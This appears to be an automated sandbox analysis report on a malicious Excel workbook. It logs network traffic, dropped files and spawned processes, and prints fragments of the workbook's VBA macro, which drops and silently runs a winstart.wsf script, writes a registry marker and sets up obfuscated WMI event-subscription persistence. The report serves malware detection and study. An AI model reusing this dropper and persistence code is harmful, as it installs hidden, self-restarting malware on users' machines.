Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.11:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.11:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.11:49937 version: TLS 1.2

System Summary

Document contains a stream with embedded javascript code

Source: 6fW0GedR6j.xls

Stream path '_VBA_PROJECT_CUR/VBA/ThisWorkbook' : Found JS content: ...............8... .......6..............#.................p....z@G.2................F....................N-|H.S.......................x....N-|H.S..z@G.2......ME.....................8.P.....SL....S.....S....6".....<.....< ......<(......<0...........N.0.{

Document contains an embedded VBA macro which may execute processes

Source: 6fW0GedR6j.xls	OLE, VBA macro line: Shell "wscript.exe //B " & Chr(34) & VBSpath & Chr(34)
Source: 6fW0GedR6j.xls	OLE, VBA macro line: txt = txt & VBS & """:Set objFile = Fso.CreateTextFile(dir&""winstart.wsf"",True,False):objFile.write VBStxt:objFile.close:WShell.run ""wscript.exe //B "" & Chr(34) & dir & ""winstart.wsf"" & Chr(34):wspr = WShell.regread (""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr""):if wspr = """" then:WShell.regwrite ""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr"", ""E""&Month(now())&""-""&Day(now()), ""REG_SZ"":end if"
Source: 6fW0GedR6j.xls	OLE, VBA macro line: Set asec = objConn.Get("Active" & "Script" & "EventC" & "onsumer").spawninstance_
Source: 6fW0GedR6j.xls	OLE, VBA macro line: Set itimer = objConn.Get("__Inter" & "valTim" & "erInst" & "ruction").spawninstance_
Source: 6fW0GedR6j.xls	OLE, VBA macro line: Set evtflt = objConn.Get("__EventFilter").spawninstance_
Source: 6fW0GedR6j.xls	OLE, VBA macro line: Set fcbnd = objConn.Get("__Filter" & "ToConsumer" & "Binding").spawninstance_

Document contains an embedded VBA macro with suspicious strings

Source: 6fW0GedR6j.xls	OLE, VBA macro line: gPath = Environ("TEMP")
Source: 6fW0GedR6j.xls	OLE, VBA macro line: Shell "wscript.exe //B " & Chr(34) & VBSpath & Chr(34)
Source: 6fW0GedR6j.xls	OLE, VBA macro line: txt = "On Error Resume Next:Dim Fso,WShell,objFile,Wmi:Set WShell = CreateObject(""WScript.Shell""):Set FSO = CreateObject(""Scripting.Filesystemobject""):Set Wmi=getobject(""winmgmts:\\.\root\cimv2""):dir = WShell.expandenvironmentstrings(""%temp%"") & ""\"":DMtxt = """
Source: 6fW0GedR6j.xls	OLE, VBA macro line: txt = "On Error Resume Next:Dim Fso,WShell,objFile,Wmi:Set WShell = CreateObject(""WScript.Shell""):Set FSO = CreateObject(""Scripting.Filesystemobject""):Set Wmi=getobject(""winmgmts:\\.\root\cimv2""):dir = WShell.expandenvironmentstrings(""%temp%"") & ""\"":DMtxt = """
Source: 6fW0GedR6j.xls	OLE, VBA macro line: txt = txt & DM & """:Set objFile = Fso.CreateTextFile(dir&""TMP.TMP"",True,False):objFile.write DMtxt:objFile.close:VBStxt = """
Source: 6fW0GedR6j.xls	OLE, VBA macro line: txt = txt & VBS & """:Set objFile = Fso.CreateTextFile(dir&""winstart.wsf"",True,False):objFile.write VBStxt:objFile.close:WShell.run ""wscript.exe //B "" & Chr(34) & dir & ""winstart.wsf"" & Chr(34):wspr = WShell.regread (""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr""):if wspr = """" then:WShell.regwrite ""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr"", ""E""&Month(now())&""-""&Day(now()), ""REG_SZ"":end if"
Source: 6fW0GedR6j.xls	OLE, VBA macro line: txt = txt & VBS & """:Set objFile = Fso.CreateTextFile(dir&""winstart.wsf"",True,False):objFile.write VBStxt:objFile.close:WShell.run ""wscript.exe //B "" & Chr(34) & dir & ""winstart.wsf"" & Chr(34):wspr = WShell.regread (""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr""):if wspr = """" then:WShell.regwrite ""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr"", ""E""&Month(now())&""-""&Day(now()), ""REG_SZ"":end if"
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String environ: gPath = Environ("TEMP")	Name: Workbook_Open
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String wscript: Shell "wscript.exe //B " & Chr(34) & VBSpath & Chr(34)	Name: Workbook_Open
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function wmiserv, String wscript: txt = "On Error Resume Next:Dim Fso,WShell,objFile,Wmi:Set WShell = CreateObject(""WScript.Shell""):Set FSO = CreateObject(""Scripting.Filesystemobject""):Set Wmi=getobject(""winmgmts:\\.\root\cimv2""):dir = WShell.expandenvironmentstrings(""%temp%"") & ""\"":DMtxt = """	Name: wmiserv
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function wmiserv, String environ: txt = "On Error Resume Next:Dim Fso,WShell,objFile,Wmi:Set WShell = CreateObject(""WScript.Shell""):Set FSO = CreateObject(""Scripting.Filesystemobject""):Set Wmi=getobject(""winmgmts:\\.\root\cimv2""):dir = WShell.expandenvironmentstrings(""%temp%"") & ""\"":DMtxt = """	Name: wmiserv
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function wmiserv, String createtextfile: txt = txt & DM & """:Set objFile = Fso.CreateTextFile(dir&""TMP.TMP"",True,False):objFile.write DMtxt:objFile.close:VBStxt = """	Name: wmiserv
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function wmiserv, String wscript: txt = txt & VBS & """:Set objFile = Fso.CreateTextFile(dir&""winstart.wsf"",True,False):objFile.write VBStxt:objFile.close:WShell.run ""wscript.exe //B "" & Chr(34) & dir & ""winstart.wsf"" & Chr(34):wspr = WShell.regread (""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr""):if wspr = """" then:WShell.regwrite ""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr"", ""E""&Month(now())&""-""&Day(now()), ""REG_SZ"":end if"	Name: wmiserv
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function wmiserv, String createtextfile: txt = txt & VBS & """:Set objFile = Fso.CreateTextFile(dir&""winstart.wsf"",True,False):objFile.write VBStxt:objFile.close:WShell.run ""wscript.exe //B "" & Chr(34) & dir & ""winstart.wsf"" & Chr(34):wspr = WShell.regread (""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr""):if wspr = """" then:WShell.regwrite ""HKEY_LOCAL_MACHINE\software\Microsoft\rknrl\wspr"", ""E""&Month(now())&""-""&Day(now()), ""REG_SZ"":end if"	Name: wmiserv

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: 6fW0GedR6j.xls

Stream path '_VBA_PROJECT_CUR/VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, write

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: 6fW0GedR6j.xls

Stream path '_VBA_PROJECT_CUR/VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions environment, exec, expandenvironmentstrings, regread, regwrite, run, environ

Microsoft Office drops suspicious files

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\winstart.wsf

Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}

Wscript called in batch mode (surpress errors)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wscript.exe wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //B "winstart.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\autoexec.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "%HOME%\winstart.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wscript.exe wscript.exe //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\autoexec.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "%HOME%\winstart.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	File created: C:\Windows\System32\TMP.TMP	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	File created: C:\Windows\System32\win.wsf	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	File created: C:\Windows\System32\winstart.wsf	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\api[1].json
Source: C:\Windows\System32\wscript.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\playback[1].htm
Source: C:\Windows\System32\wscript.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\playback[1].htm
Source: C:\Windows\System32\wscript.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\playback[1].htm

Source: C:\Windows\System32\wscript.exe

File deleted: C:\Windows\Temp\DM7332.tmp

Source: 6fW0GedR6j.xls	OLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open			Name: Workbook_Open

Source: 6fW0GedR6j.xls

OLE indicator, VBA macros: true

Source: ~DF1092D9E509B511EE.TMP.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@75/43@55/4

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\api[1].json

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3836:120:WilError_03

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{249C00CB-93C0-483B-9B01-8F5BCE332247} - OProcSessId.dat

Jump to behavior

Source: 6fW0GedR6j.xls

OLE indicator, Workbook stream: true

Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where name='wscript.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process
